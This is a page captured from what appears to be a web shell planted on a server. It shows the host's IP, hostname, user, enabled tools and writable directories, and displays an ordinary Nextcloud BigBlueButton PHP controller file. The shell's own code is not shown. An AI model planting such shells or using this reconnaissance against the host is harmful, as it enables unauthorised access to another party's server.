403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/nextcloud/apps/bbb/lib/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/nextcloud/apps/bbb/lib/Controller/ServerController.php
<?php

namespace OCA\BigBlueButton\Controller;

use OCA\BigBlueButton\BigBlueButton\API;
use OCA\BigBlueButton\Permission;
use OCA\BigBlueButton\Service\RoomService;
use OCP\AppFramework\Controller;
use OCP\AppFramework\Http;
use OCP\AppFramework\Http\DataResponse;

use OCP\IRequest;

class ServerController extends Controller {
	/** @var RoomService */
	private $service;

	/** @var API */
	private $server;

	/** @var Permission */
	private $permission;

	/** @var string */
	private $userId;

	public function __construct(
		$appName,
		IRequest $request,
		RoomService $service,
		API $server,
		Permission $permission,
		$UserId
	) {
		parent::__construct($appName, $request);

		$this->service = $service;
		$this->server = $server;
		$this->permission = $permission;
		$this->userId = $UserId;
	}

	/**
	 * @NoAdminRequired
	 */
	public function records(string $roomUid): DataResponse {
		$room = $this->service->findByUid($roomUid);

		if ($room === null) {
			return new DataResponse([], Http::STATUS_NOT_FOUND);
		}

		if (!$this->permission->isAdmin($room, $this->userId)) {
			return new DataResponse([], Http::STATUS_FORBIDDEN);
		}

		$recordings = $this->server->getRecordings($room);

		return new DataResponse($recordings);
	}

	/**
	 * @NoAdminRequired
	 */
	public function deleteRecord(string $recordId): DataResponse {
		$record = $this->server->getRecording($recordId);

		$room = $this->service->findByUid($record['meetingId']);

		if ($room === null) {
			return new DataResponse(false, Http::STATUS_NOT_FOUND);
		}

		if (!$this->permission->isAdmin($room, $this->userId)) {
			return new DataResponse(false, Http::STATUS_FORBIDDEN);
		}

		$success = $this->server->deleteRecording($recordId);

		return new DataResponse($success);
	}

	public function check(?string $url, ?string $secret): DataResponse {
		if ($url === null || empty($url) || $secret === null || empty($secret)) {
			return new DataResponse(false);
		}

		return new DataResponse($this->server->check($url, $secret));
	}

	public function version(?string $url): DataResponse {
		if ($url === null || empty($url)) {
			return new DataResponse(false, Http::STATUS_NOT_FOUND);
		}

		try {
			$version = $this->server->getVersion($url);
		} catch (\Exception $e) {
			return new DataResponse(false, Http::STATUS_NOT_FOUND);
		}

		return new DataResponse($version);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit